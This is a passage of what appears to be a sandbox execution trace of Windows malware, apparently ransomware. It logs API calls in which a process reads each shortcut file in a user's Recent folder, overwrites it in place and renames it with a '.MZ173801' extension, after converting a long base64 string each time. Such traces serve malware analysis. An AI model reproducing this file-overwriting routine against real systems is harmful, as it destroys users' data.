FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.387] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x1uxAwp3IE.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\x1uxawp3ie.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde5e63c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde5e63c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde5e63c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x207d)) returned 1 [0122.389] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.389] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.391] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x1uxAwp3IE.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\x1uxawp3ie.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.391] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x207d, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x207d, lpOverlapped=0x0) returned 1 [0122.392] CloseHandle (hObject=0x288) returned 1 [0122.393] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x1uxAwp3IE.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\x1uxawp3ie.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.394] WriteFile (in: hFile=0x288, lpBuffer=0x733ed0*, nNumberOfBytesToWrite=0x207d, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x733ed0*, lpNumberOfBytesWritten=0x18f99c*=0x207d, lpOverlapped=0x0) returned 1 [0122.396] CloseHandle (hObject=0x288) returned 1 [0122.400] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x1uxAwp3IE.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\x1uxawp3ie.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x1uxAwp3IE.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\x1uxawp3ie.lnk.mz173801")) returned 1 [0122.401] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde60c520, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde60c520, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde60c520, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="xeExJTwHbKu_Pw0kKC.lnk", cAlternateFileName="XEEXJT~1.LNK")) returned 1 [0122.401] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.401] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xeExJTwHbKu_Pw0kKC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xeexjtwhbku_pw0kkc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde60c520, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde60c520, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde60c520, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x41a)) returned 1 [0122.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.406] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xeExJTwHbKu_Pw0kKC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xeexjtwhbku_pw0kkc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.406] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x41a, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x41a, lpOverlapped=0x0) returned 1 [0122.407] CloseHandle (hObject=0x288) returned 1 [0122.407] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xeExJTwHbKu_Pw0kKC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xeexjtwhbku_pw0kkc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.408] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x41a, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x41a, lpOverlapped=0x0) returned 1 [0122.410] CloseHandle (hObject=0x288) returned 1 [0122.416] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xeExJTwHbKu_Pw0kKC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xeexjtwhbku_pw0kkc.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xeExJTwHbKu_Pw0kKC.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xeexjtwhbku_pw0kkc.lnk.mz173801")) returned 1 [0122.418] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa6e180, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa6e180, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa6e180, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="XHVOZ5Eqp.lnk", cAlternateFileName="XHVOZ5~1.LNK")) returned 1 [0122.418] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.418] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.418] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XHVOZ5Eqp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xhvoz5eqp.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa6e180, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa6e180, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa6e180, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0122.420] 